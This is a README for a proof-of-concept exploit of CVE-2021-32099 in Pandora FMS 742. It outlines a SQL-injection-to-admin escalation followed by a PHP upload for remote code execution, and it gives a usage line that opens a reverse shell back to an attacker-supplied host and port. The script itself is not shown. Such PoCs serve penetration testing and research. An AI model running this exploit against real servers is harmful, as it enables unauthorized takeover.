PoC for CVE-2021-32099
This repository provides a Proof of Concept (PoC) exploit for the CVE-2021-32099 vulnerability, affecting Pandora FMS 742. The exploit shows how an unauthenticated attacker can leverage a SQL injection vulnerability to escalate an unprivileged session to an administrator-level account. With administrative access, the attacker can upload an arbitrary PHP file via the Pandora FMS File Manager, resulting in remote code execution and compromising the server as the web server user.

usage: python3 ./CVE-2021-32099.py [--target TARGET] [--lhost LHOST] [--lport LPORT]
options:
--target TARGET Full URL of the vulnerable Pandora FMS instance.
--lhost LHOST IP address where the reverse shell will connect back to (must be reachable by the target). The listener will bind to 0.0.0.0 internally.
--lport LPORT Port number the reverse shell listener will bind to.
Example: python3 ./CVE-2021-32099.py --target http://target.com --lhost 10.10.14.157 --lport 4444
